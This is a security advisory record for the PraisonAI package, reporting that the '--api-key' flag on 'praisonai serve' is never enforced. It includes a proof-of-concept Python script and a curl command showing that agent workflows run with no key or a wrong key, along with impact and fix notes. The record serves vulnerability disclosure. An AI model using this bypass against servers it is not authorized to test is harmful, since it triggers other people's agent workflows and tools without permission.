{"id":"PYSEC-2026-3893","summary":"PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced","details":"## Summary\n\n`praisonai serve agents` and `praisonai serve unified` both accept `--api-key` for authentication. The flag is parsed but never wired into the FastAPI app — no middleware, no header check, nothing. The server runs wide open regardless of what key you set. Tested on 4.6.50 from PyPI.\n\n## Affected versions\n\n- Confirmed on **4.6.50** (current PyPI, 2026-06-02)\n- Likely since **4.6.34** when the serve subsystem shipped\n- File: `src/praisonai/praisonai/cli/features/serve.py`\n\n## What happens\n\nThe CLI defines `--api-key` in the arg spec (`serve.py:199`) and passes the parsed value into `_create_agents_app(config)`. But that function never reads `config[\"api_key\"]`. The FastAPI app gets created with no auth at all. Same thing in `_create_unified_app`.\n\nThe help text says `--api-key \u003ckey\u003e   API key for authentication`, so this isn't ambiguous — it's supposed to protect the server. It just doesn't.\n```\n$ grep -n \"api_key\" src/praisonai/praisonai/cli/features/serve.py\n107:  --api-key \u003ckey\u003e   API key for authentication\n199:            \"api_key\": {\"default\": None},\n847:            \"api_key\": {\"default\": None},\n```\n\n## Endpoints exposed without auth\n\n- `POST /agents` — runs the full agent workflow\n- `POST /agents/{name}` — invokes a specific agent\n- `POST /api/v1/agents/{id}/invoke` — n8n integration endpoint\n- `GET /` — lists all endpoints\n- `GET /__praisonai__/discovery` — service discovery\n\n## Not the same as CVE-2026-44338\n\nCVE-2026-44338 was about the legacy `deploy/api.py` hardcoding `AUTH_ENABLED = False`. That was fixed in 4.6.34. This bug is in the newer `serve` subsystem that shipped in the same release — the `--api-key` flag exists but was never connected to anything.\n\n## PoC\n\n### Setup\n\n```bash\npython3 -m venv /tmp/poc-venv\n/tmp/poc-venv/bin/pip install praisonai==4.6.50 fastapi starlette httpx pyyaml\n```\n\n### Script\n\n```python\nimport sys, types, tempfile, os\n\n# Stub heavy deps so we only test the serve auth logic\nfor m in [\"praisonai.endpoints.discovery\", \"praisonai.endpoints.server\",\n          \"praisonai.api\", \"praisonai.api.agent_invoke\",\n          \"praisonai.agents_generator\", \"praisonai.inc\"]:\n    sys.modules[m] = types.ModuleType(m)\n\ndisc = sys.modules[\"praisonai.endpoints.discovery\"]\nclass Fake:\n    def __init__(self, **k): pass\n    def add_provider(self, *a, **k): pass\n    def add_endpoint(self, *a, **k): pass\n    def to_dict(self): return {}\ndisc.create_discovery_document = lambda **k: Fake()\ndisc.EndpointInfo = Fake\ndisc.ProviderInfo = Fake\nsys.modules[\"praisonai.endpoints.server\"].add_discovery_routes = lambda a,b: None\nsys.modules[\"praisonai.api.agent_invoke\"].FASTAPI_AVAILABLE = False\n\nclass FakeGen:\n    def __init__(self, **k): pass\n    def generate_crew_and_kickoff(self):\n        return {\"executed\": True, \"result\": \"workflow ran\"}\nsys.modules[\"praisonai.agents_generator\"].AgentsGenerator = FakeGen\n\nclass FakeLLM:\n    def to_dict(self): return {}\nsys.modules[\"praisonai.inc\"].LLMConfig = FakeLLM\n\nf = tempfile.NamedTemporaryFile(mode=\"w\", suffix=\".yaml\", delete=False)\nf.write(\"name: T\\nagents:\\n  a:\\n    name: A\\n    role: R\\n    goal: G\\n    backstory: B\\n\")\nf.flush()\n\nfrom praisonai.cli.features.serve import ServeHandler\napp = ServeHandler()._create_agents_app({\n    \"file\": f.name, \"host\": \"0.0.0.0\", \"port\": 8000,\n    \"path\": \"/agents\", \"reload\": False,\n    \"api_key\": \"supersecret\",   # \u003c-- should protect the server\n})\n\nfrom starlette.testclient import TestClient\nc = TestClient(app)\n\nr1 = c.post(\"/agents\", json={\"query\": \"run\"})\nr2 = c.post(\"/agents\", json={\"query\": \"run\"},\n            headers={\"Authorization\": \"Bearer TOTALLY_WRONG\"})\n\nprint(f\"No auth header → {r1.status_code}\")   # 200\nprint(f\"Wrong key      → {r2.status_code}\")   # 200\n\nos.unlink(f.name)\n```\n\n### Output\n\n```\nNo auth header → 200\nWrong key      → 200\n```\n\nBoth succeed. The key is ignored.\n\n### Live server test\n\n```bash\n# start server with --api-key\npraisonai serve agents --api-key supersecret --host 0.0.0.0 --port 9999\n\n# hit it without any auth\ncurl -s -X POST http://localhost:9999/agents \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"query\":\"run all agents\"}'\n# → 200, workflow executes\n```\n\n## Impact\n\nAnyone who can reach the server can trigger agent workflows without credentials. The operator set `--api-key` and got no error, so they think it's protected.\n\nWhat an attacker gets depends on what the agents.yaml workflow can do — LLM calls, tool use, file access, code execution, web requests. At minimum it's unauthenticated API quota burn.\n\n## Fix\n\n`_create_agents_app()` and `_create_unified_app()` need to actually read `config[\"api_key\"]` and add a FastAPI dependency that checks the `Authorization: Bearer` header. When binding to a non-loopback address without `--api-key`, the server should warn or refuse to start.\n\n## References\n\n- CVE-2026-44338 / GHSA-6rmh-7xcm-cpxj (prior auth bypass, different component)","aliases":["CVE-2026-55541","GHSA-pvxx-r596-f5qj"],"modified":"2026-09-10T12:15:07.866388789Z","published":"2026-09-10T09:44:54.944489Z","references":[{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-pvxx-r596-f5qj"},{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"},{"type":"PACKAGE","url":"https://github.com/MervinPraison/PraisonAI"},{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"},{"type":"PACKAGE","url":"https://pypi.org/project/praisonai"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-pvxx-r596-f5qj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55541"}],"affected":[{"package":{"name":"praisonai","ecosystem":"PyPI","purl":"pkg:pypi/praisonai"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.6.58"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.28","0.0.29","0.0.3","0.0.30","0.0.31","0.0.32","0.0.33","0.0.34","0.0.35","0.0.36","0.0.37","0.0.38","0.0.39","0.0.4","0.0.40","0.0.41","0.0.42","0.0.43","0.0.44","0.0.45","0.0.46","0.0.47","0.0.48","0.0.49","0.0.5","0.0.50","0.0.52","0.0.53","0.0.54","0.0.55","0.0.56","0.0.57","0.0.58","0.0.59","0.0.59rc11","0.0.59rc2","0.0.59rc3","0.0.59rc5","0.0.59rc6","0.0.59rc7","0.0.59rc8","0.0.59rc9","0.0.6","0.0.61","0.0.64","0.0.65","0.0.66","0.0.67","0.0.68","0.0.69","0.0.7","0.0.70","0.0.71","0.0.72","0.0.73","0.0.74","0.0.8","0.0.9","0.1.0","0.1.1","0.1.10","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.1.8","0.1.9","1.0.0","1.0.1","1.0.10","1.0.11","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.8","1.0.9","2.0.0","2.0.1","2.0.10","2.0.11","2.0.12","2.0.13","2.0.14","2.0.15","2.0.16","2.0.17","2.0.18","2.0.19","2.0.2","2.0.20","2.0.22","2.0.23","2.0.24","2.0.25","2.0.26","2.0.27","2.0.28","2.0.29","2.0.3","2.0.30","2.0.31","2.0.32","2.0.33","2.0.34","2.0.35","2.0.36","2.0.37","2.0.38","2.0.39","2.0.40","2.0.41","2.0.42","2.0.43","2.0.44","2.0.45","2.0.46","2.0.47","2.0.48","2.0.49","2.0.5","2.0.50","2.0.51","2.0.53","2.0.54","2.0.55","2.0.56","2.0.57","2.0.58","2.0.59","2.0.6","2.0.60","2.0.61","2.0.62","2.0.63","2.0.64","2.0.65","2.0.66","2.0.67","2.0.68","2.0.69","2.0.7","2.0.70","2.0.71","2.0.72","2.0.73","2.0.74","2.0.75","2.0.76","2.0.77","2.0.78","2.0.79","2.0.8","2.0.80","2.0.81","2.0.9","2.1.0","2.1.1","2.1.4","2.1.5","2.1.6","2.2.1","2.2.10","2.2.11","2.2.12","2.2.13","2.2.14","2.2.15","2.2.16","2.2.17","2.2.18","2.2.19","2.2.2","2.2.20","2.2.21","2.2.22","2.2.24","2.2.25","2.2.26","2.2.27","2.2.28","2.2.29","2.2.3","2.2.30","2.2.31","2.2.32","2.2.33","2.2.34","2.2.35","2.2.36","2.2.37","2.2.38","2.2.39","2.2.4","2.2.40","2.2.41","2.2.42","2.2.43","2.2.44","2.2.45","2.2.46","2.2.47","2.2.48","2.2.49","2.2.5","2.2.50","2.2.51","2.2.52","2.2.53","2.2.54","2.2.55","2.2.56","2.2.57","2.2.58","2.2.59","2.2.6","2.2.60","2.2.61","2.2.62","2.2.63","2.2.64","2.2.65","2.2.66","2.2.67","2.2.68","2.2.69","2.2.7","2.2.70","2.2.71","2.2.72","2.2.73","2.2.74","2.2.75","2.2.76","2.2.77","2.2.78","2.2.79","2.2.8","2.2.80","2.2.81","2.2.82","2.2.83","2.2.84","2.2.86","2.2.87","2.2.88","2.2.89","2.2.9","2.2.90","2.2.91","2.2.93","2.2.95","2.2.96","2.2.97","2.2.98","2.2.99","2.3.0","2.3.1","2.3.10","2.3.11","2.3.12","2.3.13","2.3.14","2.3.15","2.3.16","2.3.18","2.3.19","2.3.2","2.3.20","2.3.21","2.3.22","2.3.23","2.3.24","2.3.25","2.3.26","2.3.27","2.3.28","2.3.29","2.3.3","2.3.30","2.3.31","2.3.32","2.3.33","2.3.34","2.3.35","2.3.36","2.3.37","2.3.38","2.3.39","2.3.4","2.3.40","2.3.41","2.3.42","2.3.43","2.3.44","2.3.45","2.3.46","2.3.47","2.3.48","2.3.49","2.3.5","2.3.50","2.3.51","2.3.52","2.3.53","2.3.54","2.3.55","2.3.56","2.3.57","2.3.58","2.3.59","2.3.6","2.3.60","2.3.61","2.3.62","2.3.63","2.3.64","2.3.65","2.3.66","2.3.67","2.3.68","2.3.69","2.3.7","2.3.70","2.3.71","2.3.72","2.3.73","2.3.74","2.3.75","2.3.76","2.3.77","2.3.78","2.3.79","2.3.8","2.3.80","2.3.81","2.3.82","2.3.83","2.3.84","2.3.85","2.3.86","2.3.87","2.3.9","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4","2.5.0","2.5.1","2.5.2","2.5.3","2.5.4","2.5.5","2.5.6","2.5.7","2.6.0","2.6.1","2.6.2","2.6.3","2.6.4","2.6.5","2.6.6","2.6.7","2.6.8","2.7.0","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.1","2.9.2","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","3.10.0","3.10.1","3.10.10","3.10.11","3.10.12","3.10.13","3.10.14","3.10.15","3.10.16","3.10.17","3.10.18","3.10.19","3.10.2","3.10.20","3.10.21","3.10.22","3.10.23","3.10.24","3.10.25","3.10.26","3.10.27","3.10.3","3.10.4","3.10.5","3.10.6","3.10.7","3.10.8","3.10.9","3.11.0","3.11.1","3.11.10","3.11.11","3.11.12","3.11.13","3.11.14","3.11.2","3.11.3","3.11.4","3.11.8","3.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